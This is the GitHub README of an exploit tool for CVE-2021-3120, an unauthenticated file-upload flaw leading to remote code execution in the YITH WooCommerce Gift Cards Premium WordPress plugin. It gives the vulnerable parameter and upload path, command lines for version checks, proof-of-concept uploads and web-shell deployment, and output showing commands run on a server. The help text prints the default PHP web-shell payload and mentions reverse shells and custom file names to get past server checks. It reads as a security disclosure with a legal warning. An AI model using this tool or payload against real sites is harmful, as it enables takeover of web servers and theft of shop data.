guy-liu / yith-giftdrop Public

Exploit for the Arbitrary File Upload vulnerability in YITH WooCommerce Gift Cards Premium

5 stars 2 forks

Star Notifications

Code Issues Pull requests Actions Projects Security Insights

main Go to file

guy-liu Fixing the table ... on Jan 27, 2021 4

View code

README.md

yith-giftdrop

A tool for checking as well as exploiting CVE-2021-3120, Arbitrary File Upload vulnerability in YITH WooCommerce Gift Cards Premium version 3.3.0 and below.

A Word of Warning

Please do not run this tool against systems that you do not have permissions to test. Doing so is illegal and you could face prosecution despite your best intentions. If you are an IT/cyber security enthusiast and you are curious about how this tool works, I recommend that you setup your own lab environment for testing this tool out.

Vulnerability Description

A critical vulnerability (CVSSv3 9.8) exists in the WordPress plugin "YITH WooCommerce Gift Cards Premium" version 3.3.0 and below, which allows an attacker to upload arbitary files to the server and therefore achieve remote code execution on the server operating system in the security context of the web server.

The plugin allows gift card products to be added to the site (powered by the WordPress WooCommerce plugin) and offers an optional feature that let customers purchase gift cards with custom designs by upload a picture of their choice when placing the gift card product in the cart. The file is submitted via the "ywgc-upload-picture" file parameter of the POST request however the server does not perform any sanity checks before processing the request, and stores the file in a predictable location on the server, with the client-specified file name as well as file extension. Code execution can be easily achieved by uploading a PHP file with .php extension and then requesting the file at the uploaded location.

It is also worth noting that the vulnerability is exploitable regardless of whether the custom gift card design feature is enabled or not. The only condition required to exploit this vulnerability is the ability to add a gift card to the shopping cart.

Vulnerability Details

Vulnerability Name	Arbitrary File Upload Leading to Remote Code Execution
CVE	CVE-2021-3120
CVSS Vector	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score	9.8 (Critical)
Vendor	YITH
Product Affected	YITH WooCommerce Gift Cards Premium
Product Page	https://yithemes.com/themes/plugins/yith-woocommerce-gift-cards/
Versions Affected	Version 3.3.0 and below
Fixed Version	v3.3.1

Version 3.1.5 and version 3.3.0 were used for testing and were found to be vulnerable. Lab environment was running WordPress 5.6 and WooCommerce 4.8.0.

About This Tool

This tool is written to automate the discovery of WordPress sites that may be affected by this issue. It does so by performing a version enumeration using information contained in the readme.txt file which is included with the plugin by default.

In addition, it has a capability to perform a proof of concept test by uploading a simple php script with a randomly generated name. The script contains a simple echo command, which when requested is used to confirm code execution. As the uploaded file will remain on the server, the randomly generated file name will help reduce the chance of the file being requested by others and also the script would not cause any harm to the server.

The tool can also be used to exploit this vulnerability. The default attack is to upload a simple PHP web shell. This can be used to execute further OS commands, including reverse shells. For more "interesting" scenarios you can specify a custom payload as well as custom file names to bypass further server-side restrictions.

Installation

Simply clone the repository or download the yith-giftdrop.py file to run.

Usage

To perform vulnerability test via version enumeration, specify the url of the gift card product (-u) and enumeration mode (-e). This is purely information gathering and does not attempt any file upload operations.

```
$ ./yith-giftdrop.py -u http://192.168.0.1:8000/product/gift-card/ -e
Info: Found plugin via readme.txt
Info: Found version 3.1.5 - VULNERABLE! Please upgrade to v3.3.1 or above.
```

To perform a proof of concept, use the -c option. This will leave a PHP file on the server so a warning will be displayed to inform you of this and the program will exit at this point. You will need to add the -a or --accept flag to confirm that you understood this and want to continue.

```
$ ./yith-giftdrop.py -u http://192.168.0.1:8000/product/gift-card/ -c -a
Info: Found plugin via readme.txt
Info: Found version 3.1.5 - VULNERABLE! Please upgrade to v3.3.1 or above.
Info: Preparing for upload...
Info: Uploaded file to: http://192.168.0.1:8000/wp-content/uploads/yith-gift-cards/2021/1/7eb0273842554d6e9db937be07faf270.php
Info: Received expected response at payload url. CODE EXECUTION confirmed!
```

By default the tool will attempt to upload a basic web shell. Again you will need to add the -a or accept flag to confirm you want to proceed.

```
$ ./yith-giftdrop.py -u http://192.168.0.1:8000/product/gift-card/ -a
Info: Found plugin via readme.txt
Info: Found version 3.1.5 - VULNERABLE! Please upgrade to v3.3.1 or above.
Info: Preparing for upload...
Info: Payload uploaded to: http://192.168.0.1:8000/wp-content/uploads/yith-gift-cards/2021/1/1ec442e859f44733b3e5271116e682ae.php
Info: Default payload (OS Command Execution) is used. Try below to obtain server hostname:
Info:     curl http://192.168.0.1:8000/wp-content/uploads/yith-gift-cards/2021/1/1ec442e859f44733b3e5271116e682ae.php?cmd=hostname
$ curl http://192.168.0.1:8000/wp-content/uploads/yith-gift-cards/2021/1/1ec442e859f44733b3e5271116e682ae.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

For other uses of the tool, including the use of a custom payload and file name, see the help screen.

```
$ ./yith-giftdrop.py -h
usage: yith-giftdrop.py [-h] [-e] [-c] -u URL [-p PAYLOAD] [-f FILE] [-n NAME] [-a]


__   _______ _____ _   _   _____ _  __ _    ______
\ \ / /_   _|_   _| | | | |  __ (_)/ _| |   |  _  \
 \ V /  | |   | | |_| | | |  \/_| |_| |_  | | | |_ __ ___  _ __
  \ /   | |   | | |  _  | | | __| |  _| __| | | | | '__/ _ \| '_ \
  | |  _| |_  | | | | | | | |_\ \ | | | |_  | |/ /| | | (_) | |_) |
  \_/  \___/  \_/ \_| |_/  \____/_|_|  \__| |___/ |_|  \___/| .__/
                                                            | |
                                                            |_|
    A tool to check & exploit the arbitary file upload vulnerability
    in YITH WooCommerce Gift Cards Premium v3.3.0 and below

    CVE:        CVE-2021-3120
    Written by: Guy Liu
                guy.liu@air-sec.co.uk

optional arguments:
  -h, --help            show this help message and exit
  -e, --enum            Enum plugin version only
  -c, --check           Check for file upload and code execution only
  -u URL, --url URL     URL of Gift Card Product
  -p PAYLOAD, --payload PAYLOAD
                        Specify a payload to upload to server. Default is <?php echo shell_exec($_GET['cmd']);?>
  -f FILE, --file FILE  Specify a custom file to upload. Cannot be used with --payload/-p option
  -n NAME, --name NAME  Use specified file name rather than automatically generated file name
  -a, --accept          I understand that this program will leave payload files on the server
```

Enjoy!

Languages

- ● Python 100.0%